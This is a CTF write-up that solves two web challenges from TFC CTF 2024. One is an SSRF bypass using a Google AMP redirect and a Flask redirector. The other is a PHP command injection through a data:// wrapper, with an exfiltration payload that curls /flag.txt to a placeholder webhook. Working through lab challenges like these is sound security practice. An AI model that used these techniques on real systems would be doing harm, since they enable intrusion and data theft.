TFC CTF 2024: SURFING & SAFE_CONTENT
Intro
This is the writeup for two of the web challenges presented in TFC CTF 2024. As I could not dedicate much time to it, I managed to solve 3 out of the 8 web challenges available. The web challenges were good quality, so kudos to the authors 😊.
SURFING (Easy)
My friend wanted a site on which he could steal other people’s photos. Can you break into it ?
Description
We are not given the source code of the challenge. The website is pretty simple:
We just have a functionality to visit URLs of our choice. It states that only Google URLs and PNG files are allowed to be visited. Let’s see what happens if we do not meet these conditions:
Now we have a bit more information. The URL we introduce must start with http://google.com/
, so let’s introduce it:
As we can see, we get the HTML of the response. If we take a look at it, we can see that it responded with a 404 Not Found
error, as it tried to visit http://google.com/.png
(which does not exist). Also, when looking at the website’s source code, we can notice an interesting HTML comment:
1
<!-- Reminder ! Change creds for admin panel on localhost:8000 ! -->
Enough to work with, let’s move on to the solution.
Solution
At this point, we can assume that we have to achieve SSRF to visit the admin panel and that this panel will have very weak credentials. However, the URLs we introduce must begin with http://google.com/
, so, how do we get around this? Zero-day in Google?
Well, not this time. I remember reading that google.com
could be used to perform URL redirections. For example:
1
http://google.com/url?q=http://example.com
The above link will redirect us to http://example.com
, but it will prompt us with the following warning:
So this payload will not work for us. After some research, I finally found what I was looking for:
1
http://google.com/amp/s/example.com/
This time, it performed the redirection without any warnings. Let’s try it in the challenge:
Again, we get a 404 Not Found
. The challenge seems to be appending .png
to the end of the URL, without checking the type of content being accessed. We can easily bypass this by putting a URL-encoded #
at the end of our URL, thus making .png
a URL fragment:
It works! However, accessing localhost:8000
with this approach (http://google.com/amp/s/localhost:8000/%23
), did not work (don’t know why :D). So, what I did was set up a simple Flask app with ngrok
to redirect it again (it also worked with URL shorteners):
1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def home():
return redirect('http://localhost:8000/')
if __name__ == '__main__':
app.run(debug=True)
And now, when visiting http://google.com/amp/s/<NGROK_URL>/%23
, it performed the redirect without any problems and we can now take a look at the source code of the admin panel:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>Admin Login</title>
</head>
<body>
<form action="admin.php" method="get">
<label for="username">Username:</label>
<input type="text" id="username" name="admin" required>
<label for="password">Password:</label>
<input type="password" id="password" name="admin" required>
<br>
<input type="submit" value="Login">
</form>
</body>
</html>
Both the username and the password are admin
and they are passed as GET parameters, so we just need to change our Flask app so that it redirects to http://localhost:8000/admin.php?username=admin&password=admin
and get the flag!
1
2
Login successful. Welcome, admin!
Flag is TFCCTF{18fd102247cb73e9f9acaa42801ad03cf622ca1c3689e4969affcb128769d0bc}
SAFE_CONTENT (Medium)
Our site has been breached. Since then we restricted the ips we can get files from. This should reduce our attack surface since no external input gets into our app. Is it safe ?
For the source code, go to /src.php
Description
The website is very similar to the one above:
Additionally, we are given the source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
function isAllowedIP($url, $allowedHost) {
$parsedUrl = parse_url($url);
if (!$parsedUrl || !isset($parsedUrl['host'])) {
return false;
}
return $parsedUrl['host'] === $allowedHost;
}
function fetchContent($url) {
$context = stream_context_create([
'http' => [
'timeout' => 5 // Timeout in seconds
]
]);
$content = @file_get_contents($url, false, $context);
if ($content === FALSE) {
$error = error_get_last();
throw new Exception("Unable to fetch content from the URL. Error: " . $error['message']);
}
return base64_decode($content);
}
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['url'])) {
$url = $_GET['url'];
$allowedIP = 'localhost';
if (isAllowedIP($url, $allowedIP)) {
$content = fetchContent($url);
// file upload removed due to security issues
if ($content) {
$command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';
exec($command . ' > /dev/null 2>&1');
// this should fix it
}
}
}
?>
We have a pretty obvious objective, which is command injection. To reach it, we have to bypass a very poor URL check that just checks the host to be localhost
and then make our fetched content be double base64-encoded so that the command is executed without any errors.
Solution
The isAllowedIP
function uses parse_url
to check the URL’s host. However, it does not check the protocol, so PHP wrappers such as php://localhost
or data://localhost
are valid. The first of these will not work, but the data://
wrapper does not check the content type: data://text/plain
and data://localhost/plain
will do the same. We can abuse this to achieve command injection with the following payload:
1
2
# payload
a | curl -X POST -d @/flag.txt <WEBHOOK>
Now we double base64-encode it (the PHP wrapper decodes it once and then fetchContent
decodes it again in the return) and we send the following URL to the challenge:
1
data://localhost/plain;base64,<DOUBLE_BASE64_PAYLOAD>
And get the flag in our webhook.
Flag: TFCCTF{0cc5c7c5be395bb7e7456224117aed15b7d7f25933e126cecfbff41bff12beeb}